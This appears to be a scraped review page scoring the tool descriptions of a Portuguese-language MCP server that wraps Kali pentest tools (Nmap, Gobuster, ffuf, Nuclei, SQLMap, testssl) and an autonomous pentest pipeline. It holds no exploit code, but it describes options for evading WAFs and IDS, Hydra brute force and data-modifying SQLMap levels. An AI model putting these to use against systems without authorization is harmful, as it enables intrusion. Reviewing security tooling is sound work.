No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the action (custom HTTP request) and use cases, but does not mention potential side effects (e.g., POST/PUT can modify data), authentication requirements, or response structure. This is a significant gap for a tool that can send arbitrary HTTP methods.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two concise sentences, front-loaded with purpose and followed by usage examples. Every word contributes value; no fluff or repetition. The structure is efficient and immediately scannable.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with 6 parameters and an output schema, the description provides sufficient context for why it exists and when to use it, but misses important context about safety, limitations, and how it fits with sibling tools. The output schema covers return values, but behavioral context (e.g., potential to mutate data) is absent. This is adequate but not comprehensive.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema covers 100% of parameters with detailed descriptions and examples. The description adds no additional parameter-level context beyond the schema, so it stays at the baseline 3. It does not enhance or clarify parameter behavior beyond what is already documented.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states a specific verb+resource: 'Faz requisição HTTP customizada' (makes custom HTTP request) and enumerates specific use cases (check content, headers, test payloads). It distinguishes from specialized siblings by emphasizing 'customizada' and 'verificação de evidências', making its purpose unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly lists three usage scenarios: confirming exposed files (.env, phpinfo.php, backups), inspecting endpoint responses, and sending manual payloads during evidence verification. It gives concrete contexts but does not mention exclusions or compare with alternative tools, so a 4 is appropriate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

gerar_relatorioA

Gera relatório consolidado de todos os findings de um alvo. Arquivo salvo em ~/.kali-mcp/workspaces/_.

ParametersJSON Schema
NameRequiredDescriptionDefault
targetYesAlvo a consolidar. Ex: "192.168.1.10", "app.local"
formatoNo"markdown" (padrão) ou "json"markdown

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.8/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Since no annotations are provided, the description must disclose behavioral traits on its own. It does disclose that a file is saved to ~/.kali-mcp/workspaces/<alvo>_<timestamp>.<ext>, which communicates the main side effect and implies unique file creation via timestamp. However, it does not describe return behavior, auth requirements, failure modes, or whether prior findings are required.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description consists of two concise sentences, with the first stating the core purpose and the second specifying the output file path. Every sentence earns its place, and critical information is front-loaded.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the low tool complexity (2 parameters, 100% schema coverage, and an output schema), the description covers the essential purpose and output file location. It is slightly incomplete due to lack of explicit usage guidance and behavioral details, but it is sufficient for a straightforward report-generation tool with an output schema.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema descriptions cover both parameters fully (100% coverage), including target examples and the formato default and allowed values. The description adds no additional parameter semantics beyond what the schema already provides, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific verb and resource: 'Gera relatório consolidado de todos os findings de um alvo', clearly defining the tool as generating a consolidated report of all findings for a target. This distinguishes it from sibling tools like listar_findings by emphasizing consolidation into a report file.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies the tool should be used after findings have been collected for a target, but it offers no explicit when-to-use or when-not-to-use guidance and does not mention alternatives. It provides enough context for a basic inference, but no exclusions or comparison to sibling report/listing tools.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

gerenciar_allowlistA

Gerencia a allowlist de alvos autorizados para testes.

NENHUMA ferramenta de scan funcionará sem que o alvo esteja aqui. Configure sempre antes de iniciar um pentest.

ParametersJSON Schema
NameRequiredDescriptionDefault
noteNoContexto de autorização. Ex: "servidor de homologação — autorizado por João em 2025-05-18"
entryNoIP, hostname ou domínio. Ex: "192.168.1.10", "app.local", "exemplo.com"
actionYes"add" | "remove" | "list"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.7/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the transparency burden. It discloses that the tool manages the allowlist and is a mandatory prerequisite for scans, which is critical behavioral context. However, it does not explicitly mention side effects of add/remove (e.g., whether removal invalidates ongoing scans), but the action parameter covers the basic operations. No contradictions.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences, front-loaded with the core purpose and immediately followed by the crucial usage constraint. No filler or redundancy—every word earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple (3 params, 1 required). Given the high schema description coverage, an output schema (indicated), and the clear prerequisite message, the description fully contextualizes when and why to use it. No gaps remain.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% with descriptions for all parameters, so the baseline is 3. The description adds value by giving an example for the 'note' parameter (context of authorization) and emphasizing the critical role of the 'entry' parameter. It provides practical guidance beyond the schema's raw types.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool manages the allowlist of authorized targets, using the specific verb 'gerencia' and the resource 'allowlist de alvos autorizados'. It distinguishes itself from sibling scanning tools by emphasizing that no scan tool will work without the target being in the allowlist, making its unique purpose explicit.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly states when to use: 'Configure sempre antes de iniciar um pentest' and warns that no scan tool will function without the target being here. This gives clear preconditions and prerequisites, and by implication tells the agent to use this before any scanning tool, effectively excluding alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

listar_findingsC

Lista findings registrados no banco de dados, filtrados opcionalmente por alvo.

ParametersJSON Schema
NameRequiredDescriptionDefault
limitNoMáximo de resultados. Padrão: 50
targetNoFiltro parcial por alvo. Vazio = todos.

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

C2.9/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must disclose behavior. It does not mention that this is a read-only operation, whether results are paginated (only a limit parameter), or any side effects. Since it's a database listing, it's likely safe, but the description doesn't say so.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, concise sentence that conveys the core purpose. It doesn't waste words, though it could be slightly more descriptive without being verbose.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With an output schema present, the description need not explain return values. However, for a listing tool, the description is minimal: it doesn't mention ordering, default behavior (beyond the schema), or any constraints. Given the simplicity, it is adequate but not comprehensive.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema documents both parameters (limit and target). The description mentions the 'target' filter but adds no additional meaning beyond the schema. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool lists findings from the database with optional target filtering. It distinguishes itself from sibling tools by focusing on 'findings' rather than scanning or reporting actions, even though it doesn't explicitly name a sibling alternative.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

There is no guidance on when to use this tool versus others. The description implies it is for retrieving recorded findings but gives no context about when this is appropriate (e.g., after a scan or as part of a report) or when to prefer other tools like gerar_relatorio.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

pentest_completoC

Executa o pipeline completo de pentest de forma autônoma na ordem correta.

ParametersJSON Schema
NameRequiredDescriptionDefault
targetYesIP ou hostname do alvo. Ex: "192.168.1.10", "app.local"
evasionNoTrue = scans lentos com UA real para evitar WAF/rate-limit. Recomendado para alvos externos (produção, hospedagem compartilhada).
target_urlNoURL base (inferida do Nmap se omitida).
include_brute_forceNoIncluir Hydra no pipeline. Requer autorização explícita.

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

C2.9/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden of behavioral disclosure, yet it only mentions autonomous execution and correct ordering. It omits the potentially invasive/active nature, authorization concerns, runtime expectations, side effects, or that brute-force steps require explicit consent.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single front-loaded sentence with no filler. It conveys the core action and key distinguishing trait—autonomous, correct-order execution—in minimal space.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Even with a rich input schema and an output schema, the description gives almost no operational context for a complex autonomous pipeline. It does not explain which tools run, how long it may take, what impact it may have on the target, or when the pipeline should not be used.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the baseline applies. The tool description adds no parameter-level meaning beyond what the schema already provides, but the schema itself is detailed enough to cover the semantics.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly identifies this as the orchestrator for a full pentest pipeline: 'Executa o pipeline completo de pentest de forma autônoma na ordem correta.' This distinguishes it from sibling point tools like scan_portas_nmap or scan_nuclei, though it does not enumerate which phases the pipeline includes.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies this is the comprehensive, autonomous option, but it does not state when to prefer it over individual sibling scanners or when to avoid it. No prerequisites, exclusions, or explicit alternatives are mentioned.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

retomar_sessaoA

Lista todos os scans salvos em disco para um alvo, permitindo retomar um pentest interrompido sem perder o progresso anterior.

Outputs são salvos automaticamente em ~/mcps/outputs/kali-mcp// a cada scan.

ParametersJSON Schema
NameRequiredDescriptionDefault
targetYesDomínio ou IP do alvo. Ex: "exemplo.com.br", "192.168.1.10"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden. It mentions that outputs are saved automatically to a specific path, adding context about storage. However, it doesn't explicitly state whether this tool itself performs any modifications (e.g., it may only list existing scans), leaving some ambiguity about side effects. It does not contradict any annotations since none exist.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description consists of exactly two sentences, with the first stating the core purpose and the second providing a useful detail (output storage location). It is front-loaded, free of filler, and every word adds value.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with a single parameter and no nested objects, the description is quite complete. It explains what the tool does, the context for use (resuming interrupted pentests), and where outputs are stored. It does not detail the output format, but an output schema exists, so that is not required. The only gap is some ambiguity about whether the tool modifies anything.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The only parameter 'target' is described in the schema as 'Domínio ou IP do alvo' (domain or IP of the target), and the description adds an example ('exemplo.com.br', '192.168.1.10') which clarifies the expected format. Schema coverage is 100%, and the description enhances it with a concrete usage example.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the verb 'Lista' (lists) and the resource 'todos os scans salvos em disco para um alvo' (all saved scans for a target), and explains its purpose 'permitindo retomar um pentest interrompido' (allow resuming an interrupted pentest). This distinguishes it from sibling scan-execution tools like 'scan_portas_nmap' or 'scan_nuclei'.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies when to use the tool: when a pentest has been interrupted and you want to resume it without losing progress. It does not explicitly mention alternatives or when not to use it, but the context is clear enough for an agent to decide. The sentence about automatic saving also gives a hint about where the scans reside.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_diretorios_gobusterA

Enumera diretórios e arquivos ocultos usando Gobuster. Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.

ParametersJSON Schema
NameRequiredDescriptionDefault
evasionNoTrue = 5 threads + delay 300ms + User-Agent de browser real. Use quando o alvo tiver WAF ou rate limiting.
wordlistNoCaminho da wordlist dentro do container./usr/share/wordlists/dirb/common.txt
extensionsNoExtensões a testar, separadas por vírgula.php,html,js,txt,bak,zip,env
target_urlYesURL base. Ex: "http://192.168.1.10", "https://app.local:8443"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only says it enumerates directories and hidden files with Gobuster, but does not describe the tool's potential impact (e.g., being noisy, requiring permissions, rate limiting) or output characteristics. This is a significant gap for a scanning tool that may be intrusive.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is only two sentences and efficiently states the purpose and usage context. Every word earns its place, with no redundancy or filler.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides a clear purpose and usage sequence, and the input schema documents all parameters. However, it does not mention the tool's behavior or potential side effects (e.g., being time-consuming due to brute-forcing), nor does it describe the expected output format beyond what the output schema (which exists) might cover. Given the complexity of directory scanning, the description could be more informative about the tool's operation.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Since schema description coverage is 100%, the baseline is 3. The description adds no parameter-specific information beyond what the schema already documents, such as the evasion flag for WAF/rate limiting and the default wordlist path. The schema itself provides adequate parameter semantics.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool enumerates directories and hidden files using Gobuster, naming the specific tool and action. It also provides sequencing relative to Nmap and Nikto, distinguishing it from vulnerability scanning and fuzzing tools like Nikto and ffuf.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit usage context: 'Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.' This establishes a clear workflow placement. However, it does not explicitly mention alternatives like ffuf for fuzzing, nor does it state when not to use it beyond implying it needs Nmap results.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_fuzzing_ffufA

Fuzzing rápido usando ffuf. Mais veloz e flexível que gobuster. Suporta fuzzing de diretórios, parâmetros GET/POST e endpoints de API REST.

ParametersJSON Schema
NameRequiredDescriptionDefault
methodNoMétodo HTTP. Padrão: "GET"GET
evasionNoTrue = 5 threads + rate-limit 10 req/s + delay 200ms + User-Agent real. Use quando o alvo tiver WAF ou rate limiting.
wordlistNoCaminho da wordlist no container./usr/share/wordlists/dirb/common.txt
param_nameNoParâmetro a fuzzar. Gera ?param=FUZZ (GET) ou body param=FUZZ (POST).
target_urlYesURL com FUZZ embutido, ou URL base quando param_name for fornecido.
filter_sizeNoFiltrar respostas com este tamanho exato (bytes). Use para esconder a resposta padrão de 404 personalizado.
match_codesNoStatus codes a reportar. Padrão: "200,301,302,403"200,301,302,403

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden of behavioral disclosure. It conveys that the tool performs fast ffuf-based fuzzing and is flexible, but it does not disclose side effects, network impact, preconditions, or output behavior. The schema's evasion parameter adds some behavioral context, but the description itself is thin on these details.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences, front-loaded with the core purpose, and contains no redundant restatement of the schema. Every clause adds useful context: tool identity, speed/flexibility comparison, and supported fuzzing targets.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the output schema exists and the input schema covers all parameters with rich descriptions, the tool definition is mostly complete. The description covers the main supported use cases and distinguishes from gobuster, though it could be slightly more explicit about usage conditions and behavioral caveats for a fuller picture.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, and each parameter is documented with defaults and helpful notes such as the FUZZ placeholder behavior. The description adds little parameter-level meaning beyond the schema, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description opens with a specific action, 'Fuzzing rápido usando ffuf', and immediately clarifies scope: directory fuzzing, GET/POST parameter fuzzing, and REST API endpoints. It also distinguishes itself from the sibling gobuster tool by claiming to be faster and more flexible, making the tool's purpose and differentiation clear.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides clear context by listing supported fuzzing types and explicitly comparing itself to gobuster ('Mais veloz e flexível que gobuster'). It does not explicitly state when not to use it or name all alternative tools, but the context is sufficient for an agent to decide when this tool is appropriate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_nucleiA

Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei. Use após o Nikto para cobrir CVEs específicos baseados nas versões identificadas.

ParametersJSON Schema
NameRequiredDescriptionDefault
tagsNoTags de templates para filtrar. Ex: "wordpress", "apache", "xss,sqli" Deixe vazio para usar todos os templates da severidade especificada.
severityNoFiltro de severidade. Ex: "high,critical" | "medium,high,critical"medium,high,critical
target_urlYesURL do alvo. Ex: "http://192.168.1.10"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only restates the detection purpose and the Nikto sequencing; it does not mention that Nuclei sends active requests, potential impact on the target, or whether it only identifies rather than exploits vulnerabilities.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two short sentences with no filler. The main purpose is front-loaded, and the usage guidance is appended efficiently.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool has a full input schema and an output schema, so return values and parameters are covered. However, with no annotations, the description lacks behavioral caveats and prerequisites, making it adequate but not fully complete for a network-scanning tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema already documents all three parameters with 100% coverage, including examples and defaults. The description adds only the general 'templates' context, which aligns with the tags parameter but does not meaningfully extend the schema's parameter explanations.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description opens with a specific verb and resource: 'Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei.' It clearly names Nuclei and the vulnerability-detection scope, and the follow-up 'Use após o Nikto' distinguishes it from the sibling Nikto scanner.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly states when to use the tool: after Nikto, to cover specific CVEs based on identified versions. This gives clear contextual sequencing, though it does not explicitly list exclusions or alternative tools beyond Nikto.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_portas_nmapA

Realiza varredura de portas usando Nmap. Use SEMPRE como primeira fase.

ParametersJSON Schema
NameRequiredDescriptionDefault
flagsNoFlags do Nmap (convertidas via shlex, sem interpretação de shell).-sV -F
targetYesIP, hostname ou CIDR. Ex: "192.168.1.1", "10.0.0.0/24"
stealthNoTrue = timing T2 + scan-delay 1s para evitar IDS/rate-limit.

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It only states that it performs port scanning using Nmap, but does not disclose that this involves active network traffic, potential IDS detection, or that it may be intrusive. The stealth parameter hints at configurable evasiveness, but the description itself does not warn about side effects or safety considerations. This is a significant gap for a tool that actively probes a target.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is exceptionally concise: two short sentences that front-load the core purpose and usage. Every word earns its place, with no redundant details or filler. It perfectly balances brevity with essential information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (3 parameters, output schema present) and lack of annotations, the description is minimal but covers basic usage. It states what it does and when to use it, but does not explain the output format (though covered by output schema) or the implications of the stealth parameter. For a first-phase scanner, it is adequate but could be more complete by mentioning that it is an active scan with potential detection risks.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema covers all parameters (100% coverage), with descriptions like 'Flags do Nmap (convertidas via shlex, sem interpretação de shell)' and 'IP, hostname ou CIDR'. The description adds no extra meaning beyond the schema, so a baseline of 3 is appropriate. It does not provide examples or additional context that would enrich understanding.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states 'Realiza varredura de portas usando Nmap' (Performs port scanning using Nmap), which clearly identifies the action (scanning) and the resource (ports). It distinguishes from siblings by specifying port scanning as opposed to directory, vulnerability, or other scans. The phrase 'Use SEMPRE como primeira fase' adds context that this is the initial phase, reinforcing its unique role.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit usage guidance: 'Use SEMPRE como primeira fase' (Always use as first phase). This tells the agent when to use the tool, positioning it as the mandatory first step in a pentest sequence. It does not name alternatives or explicitly say when not to use, but the strong directive is sufficient for a clear usage context.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_sql_injection_sqlmapA

Testa SQL Injection usando SQLMap. Use quando a URL contiver parâmetros GET/POST ou o Nikto reportar possível SQLi.

Escalonamento obrigatório — sempre comece no nível mais baixo: Conservador: risk=1, level=1 Moderado: risk=2, level=3 Máximo: risk=3, level=5 ← pode modificar dados, use só com autorização explícita

ParametersJSON Schema
NameRequiredDescriptionDefault
riskNoNível de risco dos payloads (1-3). Padrão: 1
levelNoProfundidade dos testes (1-5). Padrão: 1
target_urlYesURL com parâmetros. Ex: "http://app.local/user?id=1"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.4/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It clearly warns that maximum level can modify data and requires explicit authorization, and it mandates starting at the lowest level. It does not mention auth requirements or rate limits, but the key destructive behavior is well flagged.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact and well-structured: purpose, when-to-use, and escalation guidance are clearly separated. Every sentence contributes operational value with no filler.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a complex scanning tool, the description covers purpose, trigger conditions, and safe escalation, while the output schema handles return values. It could mention prerequisites like target reachability or broader authorization context, but the core operational guidance is solid.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3. The description adds value by mapping risk/level combinations to conservative, moderate, and maximum escalation levels, and by warning that risk=3 can modify data—information not present in the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description uses a specific verb and resource: 'Testa SQL Injection usando SQLMap', which clearly identifies the tool's function. It also distinguishes it from sibling scanners like scan_xss_dalfox and scan_vulnerabilidades_nikto by focusing on SQLMap and SQL injection.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly states when to use the tool: when the URL contains GET/POST parameters or when Nikto reports possible SQLi. It also provides mandatory escalation levels, but it does not explicitly name alternative tools or exclusion scenarios.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_ssl_testsslA

Analisa configuração SSL/TLS usando testssl.sh. Use quando Nmap identificar porta 443 ou outro serviço HTTPS.

Detecta: protocolos fracos (SSLv2/v3, TLS 1.0/1.1), cifras fracas, BEAST/POODLE/HEARTBLEED, certificados inválidos/expirados, HSTS ausente.

ParametersJSON Schema
NameRequiredDescriptionDefault
portNoPorta HTTPS. Padrão: 443
targetYesIP ou hostname. Ex: "192.168.1.10", "app.exemplo.com"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.5/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must carry the behavioral burden. It mentions the tool detects various weaknesses but does not disclose potential side effects (e.g., network impact, duration, need for privileges), whether it's read-only or invasive, or any rate limits. The description implies a scanning action but lacks transparency on operational constraints.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact, with a brief overview sentence, a usage trigger, and a bulleted list of detection categories. It is front-loaded with the purpose and uses concise phrasing, making it easy to scan.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given it scans for many vulnerabilities, the description is relatively complete with a clear list of what it detects. However, it lacks information about output specifics (though output schema exists, which reduces burden) and operational considerations like runtime or permissions. For a moderate complexity tool, it's adequate but not overly rich.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100% for both parameters, providing clear descriptions of target and port with defaults. The description adds context by mentioning 'port 443 or other HTTPS', but doesn't add further semantic value beyond what the schema already states. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

